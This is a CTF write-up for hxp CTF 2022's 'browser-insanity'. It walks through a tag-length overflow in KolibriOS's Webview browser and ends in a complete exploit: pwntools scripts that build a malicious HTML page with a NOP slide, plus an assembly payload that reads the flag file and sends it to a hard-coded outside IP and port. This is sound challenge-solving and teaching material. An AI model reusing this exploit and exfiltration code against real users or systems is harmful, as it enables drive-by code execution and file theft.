Author: 0x6fe1be2
Version: 12-03-23
# [hxp CTF](https://ctftime.org/event/1845) (10.3-12.3)
## browser-insanity
Status: solved (w0y)
Category: PWN, ZAJ (Awesome)
Teammates: m4ttm00ny, EspressoForLife
Points: 435 (14 Solves)
### TL;DR
browser-insanity is a pwn challenge that requires you to exploit a browser from a niche custom x86-32 Kernel called [KolibriOS](http://kolibrios.org/en/). The default Browser in KolibriOS called Webview only supports html.  Looking into the [source code](https://repo.or.cz/kolibrios.git/tree/7fc85957a89671d27f48181d15e386cd83ee7f1a) shows that there is an issue on how html tags are parsed. 
This allows us to create an indefinite recursion which actually overflows into executed code. This is possible because KolibriOS doesn't have any memory protection features like multiple pages and permissions. 
This overflow is used to jump into user controlled memory and prepare our RCE payload. At last we open a connection to our extraction URL and get the Flag. Exploit is at the end of the chapter.
### Intro
> **Description:**>> Ever wanted to hack a tiny OS written in x86-32 assembly and C--? Me neither but it’s hxp CTF 2022.>> Give us an URL, the user in the KolibriOS VM will visit it. You need to get the flag from /hd0/1/flag.txt>> The source code you could get from https://repo.or.cz/kolibrios.git/tree/7fc85957a89671d27f48181d15e386cd83ee7f1a>> The browser is at programs/cmm/browser in the source tree. It relies on a couple of different libraries (e.g. programs/develop/libraries), grep around.>> KolibriOS has its own debugger, DEBUG, available on the desktop. It may come in useful.>> The kernel ABI is at kernel/trunk/docs/sysfuncs.txt>> For building random pieces:>> INCLUDE=path_to_header.inc fasm -m 1000000 -s debug.s file.asm file.out>> Connection (mirrors):>>     nc 78.46.199.173 27499
#### File Structure
```bashbrowser_insanity/# Container setup scriptsbrowser_insanity/docker-compose.ymlbrowser_insanity/Dockerfilebrowser_insanity/enter_challenge.pybrowser_insanity/ynetd# QEMU Setupbrowser_insanity/run_vm.shbrowser_insanity/kolibri.imgbrowser_insanity/images/browser_insanity/images/flag_fake.img# POWbrowser_insanity/pow-solverbrowser_insanity/pow-solver.cpp```
The most interesting files are *run_vm.sh*  and *enter_challenge.py* because it shows us how to start the KolibriOS Machine
*run_vm.sh*
```bash#!/bin/sh
# The monitor is necessary to send mouse and keyboard events to write the address.# For debugging, you may want to replace -nographic with -s
qemu-system-x86_64 \	-cpu qemu64 \	-smp 1 \	-m 128 \	-serial mon:stdio \	-snapshot \	-no-reboot \	-boot a \	-fda kolibri.img \	-hda flag.img \	-nographic```
*enter_challenge.py* shows us how the service interacts with the machine, which can basically be summarized as visiting a given URL with the build-in Browser Webview.
### Test Environment
One of the hardest parts of the challenge was creating a prober Test Environment, because we need to learn a new Kernel and Debugging Tool.
#### Start Machine
by modifying  *run_vm.sh* we can get a graphical system
```bash#!/bin/sh
qemu-system-x86_64 \	-cpu qemu64 \	-smp 1 \	-m 1024 \	-daemonize \git clone https://repo.or.cz/kolibrios.git 		# detach into graphics window	-snapshot \	-no-reboot \	-boot a \	-fda kolibri.img \											# Kolibri OS mounted to /syz/	-hda images/flag_fake.img \									# flag.img mounted to /hd0/1/```
#### Mount and edit kolibriimg img
We can also mount the operating image to copy our own binaries for testing.
```bashmkdir kolibriimgsudo mount -o loop kolibri.img kolibriimg```
#### Webview (Browser)
Webview is the integrated Browser of KolibriOS which we need to exploit. 
![Webview Browser](https://gfelber.dev/img/Webview.png)
####  KolibriOS DEBUG
Luckily KolibriOS has it's own integrated Debugging Tool which will be very useful.
![](http://wiki.kolibrios.org/images/2/25/Mtdbg_overview.png)
**Important Commands**
```load <FILE_PATH>	# Load Programm e.g. load /sys/Network/Webviewg					# Start Files					# step jmp inton					# next jmp overbpm w <ADDR>		# break on memory access writed <ADDR>			# show data at ADDRu <ADDR>			# show intructions at ADDRterminate			# Terminate current session```
#### Source Code
https://repo.or.cz/kolibrios.git/tree/7fc85957a89671d27f48181d15e386cd83ee7f1a
```bashgit clone https://repo.or.cz/kolibrios.gitcd kolibriosgit checkout 7fc85957a89671d27f48181d15e386cd83ee7f1a```
##### File Structure
```bashkolibrios						# root dir...kolibrios/kernel				# kernel code...kolibrios/programs				# programs inside os...kolibrios/programs/network		# networking programs (important for exploit)...kolibrios/programs/cmm/browser	# browser...```
#### Compiling
http://wiki.kolibrios.org/wiki/Writing_applications_for_KolibriOS
```bashfasm test.asm test```
Included Files e.g. `include 'macros.inc'` need to be in the same directory, the best directory for compiling files is *kolibrios/programs/*
#### Syscalls
kernel/trunk/docs/sysfuncs.txt
There is a .txt file that explains the different Syscalls of the kernel. 
One interesting Quirk of this kernel is that similarly to a Commodore 64 the kernel provides APIs to render images and flip pixels.
Even though this seems useful for creating a payload at the end i decided that it would be easier to copy a payload together from different code samples.
#### Webview
programs/cmm/browser
* Only supports HTML (no CSS or JS)
##### `<html><body>`Header
These tags are required for rendering a page as html
##### ``  Hyperlinks
Create Links to other pages, but also local programs (yeah wtf)
##### ``  Images
Allows displaying data as image
#### KolibriOS
##### File Structure
```bash/sys/sys/3d/sys/Demos/sys/Develop/sys/Develop/Examples/sys/Drivers/sys/Fonts/sys/File Managers/sys/Games/sys/Lib/sys/Media/sys/Media/Imgf/sys/Network/sys/Network/Webview		# Executable we need to exploit/sys/Settings```
### Webview (Browser)
#### Debugging
**Important Addresses**
* `0x00000000` Base Address (Executed file)* `0x00002800` Start of Stack* `0x00003900` Location of our tag structure* `0x00012b0f` Start of our tag write routine* ~`0x00400000` User controlled Memory (probably heap) contains our Webpage
### Vulnerability
m4ttm00ny notized that there the browser crashes when a tag over the size of 32 char is specified. Sadly we never really found out where the unsafe source code is located it is probably this:
*programs/cmm/browser/TWB/TWB.c*
```cvoid TWebBrowser::ParseHtml(dword _bufpointer, _bufsize){    ...        if (ESBYTE[bufpos] == '<') && (is_html) {            if (strchr("!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", ESBYTE[bufpos+1])) {                bufpos++;                if (tag.parse(#bufpos, bufpointer + bufsize)) {                  ...                }                continue;            }        }    ...}
```
*programs/cmm/browser/TWB/parse_tag.h*
```c...struct _tag{	char name[32];	char prior[32];	bool opened;	collection attributes;	collection values;	dword value;	dword number;	bool is();	bool parse();	dword get_next_param();	dword get_value_of();	signed get_number_of();} tag=0;...bool _tag::parse(dword _bufpos, bufend) {    	...        // probably this    	if (name) strcpy(#prior, #name); else prior = '\0';    	...}```
We spend some time trying to understand why exactly this causes the code to crash
Looking at memory after the crash shows that memory is filled with our 32 byte tag.
After spending some more time in the debugger EspressoForLife and I concluded that we actually overflow into executed code (This wasn't as obvious as in gdb, because errors make the instruction pointer jump to the start of the page `0x00000000`, not showing an invalid instruction was executed).
### Exploitation
#### Exploiting Overflow
##### Analysis
We create a simple webpage that crashes the browser
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'
def tagger(tag):  return b'<' + tag + b'/>'
with open('exploit.htm', 'wb') as exploithtm:  exploithtm.write(HEADER)  exploithtm.write(tagger(cyclic(0x20)))```
NOTE: Webview has a strong cache setting, therefore cache needs to be cleared before each visit with CTRL+F5
If we now open our program and set a write breakpoint at 0x12b0e (with `bpm w 12b0e`) we can see our write routine and how our overwrite happens
![image-20230313104920207](https://gfelber.dev/img/anal_over_dbg.png)
Using `cylic_find('acaa')+4` we see that the overflow starts after 11 chars. We also see that our overwrite routine checks for null bytes with `test al, al`, which is why we need to exclude null chars. We can now rewrite our script to jmp into our tag like this:
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000
def tagger(tag):  return b'<' + tag + b'/>'
gen = cyclic_gen()exploit = gen.get(0xb)# don't overwrite lodsb intruction to keep overwrite routine goingexploit += asm('lodsb')# jmp location doesn't matter because we only write the first byteexploit += asm('jmp $')# realine gen.getgen.get(len(exploit)-0xb)# make sure our exploit is exploit += gen.get(0x20 - len(exploit))
print(exploit.hex())with open('test.htm', 'wb') as exploithtm:  exploithtm.write(HEADER)  exploithtm.write(tagger(exploit))```
![image-20230313104920207](https://gfelber.dev/img/jmp_over_dbg.png)
We once again use `cyclic_find('aafa')` to see our first code execution starts at offset 18.
##### Jumping to User controlled memory
Because our controlled code execution starts at offset 18 we only have about 14 bytes of RCE (32-18), which isn't enought to read and extract our flag, that is why we need to jmp into user controlled memory, were we can execute more Instructions.
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000
def tagger(tag):  return b'<' + tag + b'/>'
gen = cyclic_gen()exploit = gen.get(0xb)exploit += asm('lodsb')exploit += asm('jmp $')# align cyclicgen.get(len(exploit)-0xb)# align tagexploit + = gen.get(0x12)# 9 byte exploit goes hereexploit += b''# make sure our exploit is 32 chars long# align cyclicgen.get(len(exploit)-0x12)exploit += gen.get(0x20 - len(exploit))
print(exploit.hex())with open('test.htm', 'wb') as exploithtm:  exploithtm.write(HEADER)  exploithtm.write(tagger(exploit))  # append a lot of characters  exploithtm.write(cyclic(MAX_LENGTH, alphabet=string.printable.encode()))```
![Add user controlled memory](https://gfelber.dev/img/user_controlled_memory.png)
After allocating a lot of memory through adding a lot of characters (`0x100000`) we can jump through memory in `0x100000` steps to see were our data is written and we find out, that `0x400000` hast allocated our data.
We can use this knowledge to rewrite our exploit to jmp to `0x400000` and place a NOP slide at user controlled memory
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000
def nop(size):  return b'\x90' * size
def tagger(tag):  return b'<' + tag + b'/>'
TAG_LENGTH = 0x20OVERFLOW_START = 0xbJMP_CODE = 0x12gen = cyclic_gen()exploit = gen.get(OVERFLOW_START)exploit += asm('lodsb')exploit += asm('jmp $')exploit += gen.get(JMP_CODE - len(exploit))# 14 byte exploit goes hereexploit += asm('xor eax, eax')exploit += asm('mov al, 0x40')exploit += asm('shl eax, 0x10')exploit += asm('jmp eax')# make sure our exploit is 32 chars longexploit += gen.get(TAG_LENGTH - len(exploit))
print(exploit.hex())with open('test.htm', 'wb') as exploithtm:  exploithtm.write(HEADER)  exploithtm.write(tagger(exploit))  # append a lot of NOPs  exploithtm.write(nop(MAX_LENGTH))```
![Exploit Over JMP](https://gfelber.dev/img/exploit_over_dbg.png)
We can now append our payload to the nop slide and get arbitary code execution
#### Setup Payload
Now we only need to create a payload. Because I didn't want to learn how SYSCALLS work in this Operating system i decided to create a setup script that copies a payload at the into the base address at `0x00000000` which makes it possible to compile payload with fasm.
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000
def nop(size):  return b'\x90' * size
def tagger(tag):  return b'<' + tag + b'/>'
# create exploit...
# setup payload # read payload from compiled binaryPAYLOAD_FILE='./test'ENTRY = 0x24
with open(PAYLOAD_FILE, 'rb') as test: payload = test.read()
# set MOV destination (edi) to base address 0x00000000setup = asm('xor edi, edi')# MOV the entire payload to destinationsetup += asm(f'mov ecx, {len(payload)}')# trick we use to set the source to current EIPget_eip = asm('call $+5')print(get_eip.hex(), len(get_eip))setup += get_eipsetup += asm('pop esi')# Add offset from EIP to start of payloadsetup += asm('add esi, 13')# MOV PAYLOAD to destinationsetup += asm('rep movsb')# jmp to ENTRYPOINTsetup += asm(f'mov eax, {ENTRY}')setup += asm(f'jmp eax')# Combine setup and payloadpayload = setup + payload# Append nopslidepayload = nop(MAX_LENGTH-len(payload)) + payload
print(exploit.hex())with open('test.htm', 'wb') as exploithtm:  exploithtm.write(HEADER)  exploithtm.write(tagger(exploit))  # append payload  exploithtm.write(payload)```
We can get the entrypoint either by copying the binary to the kolbri.img and load it into the debugger or read the file header with:
```bash> head test -c 16 | hexdump -C00000000  4d 45 4e 55 45 54 30 31  01 00 00 00 24 00 00 00  |MENUET01....$...|00000010```
In this case the Entrypoint is `0x24`
And It works:
![Setup test](https://gfelber.dev/img/setup.png)
#### Payload
In order to read and extract the flag we need to understand the kernel, especially syscalls. Even though there isn't any good documentation we are provide a lot of sample programs in the repository. The most interesting ones are:
* *programs/network/telnet/telnet.asm* 
  a telnet implementation for KolibriOS that can be used for creating a remote connection to our extraction URL
* *programs/network/pasta/pasta.asm* 
  a tool that sends files or clipboard content to [dpaste.com](http://dpaste.com), this gives us an example on how to read files
we use *programs/network/telnet/telnet.asm* as our template
```assembly...; send data routinethread:        mcall   40, 0
        mcall   68, 12, 32768						; read flag file        test    eax, eax        jz      .error        mov     [file_struct.buf], eax        mov     [clipboard_data], eax        mcall   70, file_struct        cmp     eax, 6        jne     .error        mov     [clipboard_data_length], ebx        mov     eax, [clipboard_data]
        jmp .loop   .error:        mov     ecx, 0xc        mov     esi, file_error        mov     edi, clipboard_data        rep movsb
  ; send data to Remote  .loop:        mov     ebx, [counter]        mov     esi, [clipboard_data]        add     esi, ebx        add     ebx, 2        mov     [counter], ebx        mov     ax, [esi]        mov     [send_data], ax        xor     esi, esi        inc     esi        test    al, al        jz      done        inc     esi        mcall   send, [socketnum], send_data		; send data to remote URL
        invoke  con_get_flags        jmp      .loop...socketnum       dd ?								buffer_ptr      rb BUFFERSIZE+1						file_error      db 'Error with file', 0xa, 0, 0		file_done       db 'File loaded', 0xa, 0, 0			param           db '/hd0/1/flag.txt', 0				; file to extractsend_data       dw ?counter         dd 0identifier              dd 0clipboard_data          dd 0						; file data ptrclipboard_data_length   dd 0send_ptr                dd ?
hostname        db '10.0.2.2:42069', 0			; extraction URL 
file_struct:        dd 0            ; read file        dd 0            ; offset        dd 0            ; reserved        dd 32768        ; max file size  .buf  dd 0            ; buffer ptr        db 0        dd param
mem:```
Now we finalize our generator script and get:
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000
def nop(size):  return b'\x90' * size
def tagger(tag):  return b'<' + tag + b'/>'
# create exploit
# setup payload # read payload from compiled binaryPAYLOAD_FILE='./programs/payload'ENTRY = 0x1a1
with open(PAYLOAD_FILE, 'rb') as test: payload = test.read()
# set MOV destination (edi) to base address 0x00000000setup = asm('xor edi, edi')# MOV the entire payload to destinationsetup += asm(f'mov ecx, {len(payload)}')# trick we use to set the source to current EIPget_eip = asm('call $+5')print(get_eip.hex(), len(get_eip))setup += get_eipsetup += asm('pop esi')# Add offset from EIP to start of payloadsetup += asm('add esi, 13')# MOV PAYLOAD to destinationsetup += asm('rep movsb')# jmp to ENTRYPOINTsetup += asm(f'mov eax, {ENTRY}')setup += asm(f'jmp eax')# Combine setup and payloadpayload = setup + payload# Append nopslidepayload = nop(MAX_LENGTH-len(payload)) + payloadpayload_wrap =  b""
print(exploit.hex())with open('test.htm', 'wb') as exploithtm:  exploithtm.write(HEADER)  exploithtm.write(tagger(exploit))  # append a lot of characters  exploithtm.write(payload_wrap)```
And we managed to extract the fake flag!!!
![test extract](https://gfelber.dev/img/test_extract.png)
Now we only need to make our website and extract port publicly visible and we WIN!!!
### Final Solution
*exploit_gen.py*
```python#!/bin/pythonfrom pwn import *
HEADER = b'<html><body>'MAX_LENGTH=0x100000ENTRY = 0x1A1out = [] PAYLOAD_FILE='./programs/payload'# PAYLOAD_FILE='./test'
with open(PAYLOAD_FILE, 'rb') as test: payload = test.read()
setup = asm('xor edi, edi')setup += asm(f'mov ecx, {len(payload)}')get_eip = asm('call $+5')print(get_eip.hex(), len(get_eip))setup += get_eipsetup += asm('pop esi')setup += asm('add esi, 13')setup += asm('rep movsb')setup += asm(f'mov eax, {ENTRY}')setup += asm(f'jmp eax')print(7, len(setup), setup.hex())payload = setup + payloadpayload = (b'\x90'*(MAX_LENGTH-len(payload))) + payload
IMG = b''
def nop(size):  return b'\x90' * size
def tagger(tag):  return b'<' + tag + b'/>'
def vtagger(tag):  return tagger(b'a' + tag)
def ctagger(size):  return tagger(cyclic(size))
def otagger(tag):  padding = cyclic(0x1f)  return tagger(padding+tag)
exploit = b'a'exploit += nop(0xa)exploit += b'\xac'exploit += asm('jmp $-0x1d')exploit += nop(4)exploit += asm('xor eax, eax', arch='i386')exploit += asm('mov al, 0x40', arch='i386')exploit += asm('shl eax, 0x10', arch='i386')exploit += asm('mov ax, 0x0101', arch='i386')exploit += asm('jmp eax', arch='i386')exploit += nop(0x20-len(exploit))print(exploit.hex())with open('exploit.htm', 'wb') as exploithtm:  exploithtm.write(HEADER)  exploithtm.write(tagger(exploit))  exploithtm.write(IMG)```
*payload.asm*
```assembly;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                 ;;;; Copyright (C) KolibriOS team 2010-2015. All rights reserved.    ;;;; Distributed under terms of the GNU General Public License       ;;;;                                                                 ;;;;  telnet.asm - Telnet client for KolibriOS                       ;;;;                                                                 ;;;;  Written by [email protected]                             ;;;;                                                                 ;;;;          GNU GENERAL PUBLIC LICENSE                             ;;;;             Version 2, June 1991                                ;;;;                                                                 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
format binary as ""
BUFFERSIZE      = 4096
use32; standard header        db      'MENUET01'      ; signature        dd      1               ; header version        dd      start           ; entry point        dd      i_end           ; initialized size        dd      mem+4096        ; required memory        dd      mem+4096        ; stack pointer        dd      hostname        ; parameters        dd      0               ; path
include 'macros.inc'purge mov,add,subinclude 'proc32.inc'include 'dll.inc'include 'network.inc'
; entry pointstart:; load libraries        stdcall dll.Load, @IMPORT        test    eax, eax        jnz     exit; initialize console        invoke  con_start, 1        invoke  con_init, 80, 25, 80, 25, title
; Check for parameters        cmp     byte[hostname], 0        jne     resolve
main:        invoke  con_cls; Welcome user        invoke  con_write_asciiz, str1
prompt:; write prompt        invoke  con_write_asciiz, str2; read string (wait for input)        mov     esi, hostname        invoke  con_gets, esi, 256; check for exit        test    eax, eax        jz      done        cmp     byte[esi], 10        jz      done
resolve:        mov     [sockaddr1.port], 23 shl 8      ; Port is in network byte order
; delete terminating newline from URL and parse port, if any.        mov     esi, hostname  @@:        lodsb        cmp     al, ':'        je      .do_port        cmp     al, 0x20        ja      @r        mov     byte[esi-1], 0        jmp     .done
  .do_port:        xor     eax, eax        xor     ebx, ebx        mov     byte[esi-1], 0  .portloop:        lodsb        cmp     al, ' '        jbe     .port_done        sub     al, '0'        jb      hostname_error        cmp     al, 9        ja      hostname_error        lea     ebx, [ebx*4+ebx]        shl     ebx, 1        add     ebx, eax        jmp     .portloop
  .port_done:        xchg    bl, bh        mov     [sockaddr1.port], bx
  .done:
; resolve name        push    esp     ; reserve stack place        invoke  getaddrinfo, hostname, 0, 0, esp        pop     esi; test for error        test    eax, eax        jnz     dns_error
        invoke  con_cls        invoke  con_write_asciiz, str3        invoke  con_write_asciiz, hostname
; write results        invoke  con_write_asciiz, str8
; convert IP address to decimal notation        mov     eax, [esi+addrinfo.ai_addr]        mov     eax, [eax+sockaddr_in.sin_addr]        mov     [sockaddr1.ip], eax        invoke  inet_ntoa, eax; write result        invoke  con_write_asciiz, eax; free allocated memory        invoke  freeaddrinfo, esi
        invoke  con_write_asciiz, str9
        mcall   socket, AF_INET4, SOCK_STREAM, 0        cmp     eax, -1        jz      socket_err        mov     [socketnum], eax
        mcall   connect, [socketnum], sockaddr1, 18        test    eax, eax        jnz     socket_err
        mcall   40, EVM_STACK        invoke  con_cls
        mcall   18, 7        push    eax        mcall   51, 1, thread, mem - 2048        pop     ecx        mcall   18, 3
mainloop:        invoke  con_get_flags        test    eax, 0x200                      ; con window closed?        jnz     exit
        mcall   recv, [socketnum], buffer_ptr, BUFFERSIZE, 0        cmp     eax, -1        je      closed
        mov     esi, buffer_ptr        lea     edi, [esi+eax]        mov     byte[edi], 0  .scan_cmd:        cmp     byte[esi], 0xff         ; Interpret As Command        jne     .no_cmd; TODO: parse options; for now, we will reply with 'WONT' to everything        mov     byte[esi+1], 252        ; WONT        add     esi, 3                  ; a command is always 3 bytes        jmp     .scan_cmd  .no_cmd:
        cmp     esi, buffer_ptr        je      .print
        push    esi edi        sub     esi, buffer_ptr        mcall   send, [socketnum], buffer_ptr, , 0        pop     edi esi
  .print:        cmp     esi, edi        jae     mainloop
        invoke  con_write_asciiz, esi
  .loop:        lodsb        test    al, al        jz      .print        jmp     .loop
socket_err:        invoke  con_write_asciiz, str6        jmp     prompt
dns_error:        invoke  con_write_asciiz, str5        jmp     prompt
hostname_error:        invoke  con_write_asciiz, str11        jmp     prompt
closed:        invoke  con_write_asciiz, str12        jmp     prompt
done:        invoke  con_exit, 1exit:
        mcall   close, [socketnum]        mcall   -1
thread:        mcall   40, 0
        ; read flag file        mcall   68, 12, 32768        test    eax, eax        jz      .error        mov     [file_struct.buf], eax        mov     [clipboard_data], eax        mcall   70, file_struct        cmp     eax, 6        jne     .error        mov     [clipboard_data_length], ebx        mov     eax, [clipboard_data]
        jmp .loop
  .error:        mov     ecx, 0xc        mov     esi, file_error        mov     edi, clipboard_data        rep movsb
  .loop:        ; invoke  con_getch2        mov     ebx, [counter]        mov     esi, [clipboard_data]        add     esi, ebx        add     ebx, 2        mov     [counter], ebx        mov     ax, [esi]        mov     [send_data], ax        xor     esi, esi        inc     esi        test    al, al        jz      done        inc     esi  @@:        mcall   send, [socketnum], send_data
        invoke  con_get_flags        jmp      .loop
; datatitle   db      'Telnet',0str1    db      'Telnet for KolibriOS',10,10,\                'Please enter URL of telnet server (host:port)',10,10,\                'fun stuff:',10,\                'telehack.com            - arpanet simulator',10,\                'towel.blinkenlights.nl  - ASCII Star Wars',10,\                'nyancat.dakko.us        - Nyan cat',10,10,0str2    db      '> ',0str3    db      'Connecting to ',0str4    db      10,0str8    db      ' (',0str9    db      ')',10,0
str5    db      'Name resolution failed.',10,10,0str6    db      'Could not open socket.',10,10,0str11   db      'Invalid hostname.',10,10,0str12   db      10,'Remote host closed the connection.',10,10,0
; 146.70.116.152:54963sockaddr1:        dw AF_INET4.port   dw 0.ip     dd 0 ; 146.70.116.152        rb 10
align 4@IMPORT:
library network, 'network.obj', console, 'console.obj'import  network,        \        getaddrinfo,    'getaddrinfo',  \        freeaddrinfo,   'freeaddrinfo', \        inet_ntoa,      'inet_ntoa'import  console,        \        con_start,      'START',        \        con_init,       'con_init',     \        con_write_asciiz,       'con_write_asciiz',     \        con_exit,       'con_exit',     \        con_gets,       'con_gets',\        con_cls,        'con_cls',\        con_getch2,     'con_getch2',\        con_set_cursor_pos, 'con_set_cursor_pos',\        con_write_string, 'con_write_string',\        con_get_flags,  'con_get_flags'
i_end:
socketnum       dd ?buffer_ptr      rb BUFFERSIZE+1file_error      db 'Error with file', 0xa, 0, 0file_done       db 'File loaded', 0xa, 0, 0
; file to extractparam           db '/hd0/1/flag.txt', 0send_data       dw ?counter         dd 0identifier              dd 0clipboard_data          dd 0clipboard_data_length   dd 0send_ptr                dd ?
; extraction URL IP:PORThostname        db '91.92.116.5:42069', 0
file_struct:        dd 0            ; read file        dd 0            ; offset        dd 0            ; reserved        dd 32768        ; max file size  .buf  dd 0            ; buffer ptr        db 0        dd param
mem:```
Flag: `hxp{wHy_h4cK_Chr0m3_wh3n_y0u_c4n_hAcK_BROWSER}`